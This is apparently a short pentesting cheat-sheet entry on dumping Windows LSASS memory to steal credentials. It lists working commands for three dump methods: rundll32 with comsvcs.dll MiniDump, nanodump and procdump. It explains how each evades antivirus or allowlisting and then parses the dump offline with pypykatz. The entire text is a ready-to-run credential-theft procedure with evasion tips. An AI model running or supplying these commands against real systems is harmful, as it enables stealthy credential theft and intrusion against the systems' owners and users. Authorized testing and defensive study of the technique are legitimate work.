What it is
Instead of running Mimikatz on the box (loud, and heavily signatured), dump the LSASS process memory to a file, pull it back, and parse it offline with pypykatz. Quieter, AV-friendlier, and the modern default. Requires SeDebugPrivilege (admin or SYSTEM).
Living-off-the-land: comsvcs.dll MiniDump (nothing to upload)
tasklist /fi "imagename eq lsass.exe"
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS-PID> C:\Windows\Temp\lsass.dmp full
nanodump · evasive, avoids the obvious MiniDumpWriteDump API
.\nanodump.exe --write C:\Windows\Temp\lsass.dmp
procdump · signed Sysinternals binary, often allowlisted
.\procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
Parse it offline on Kali (never on the box)
pypykatz lsa minidump lsass.dmp
in playbooks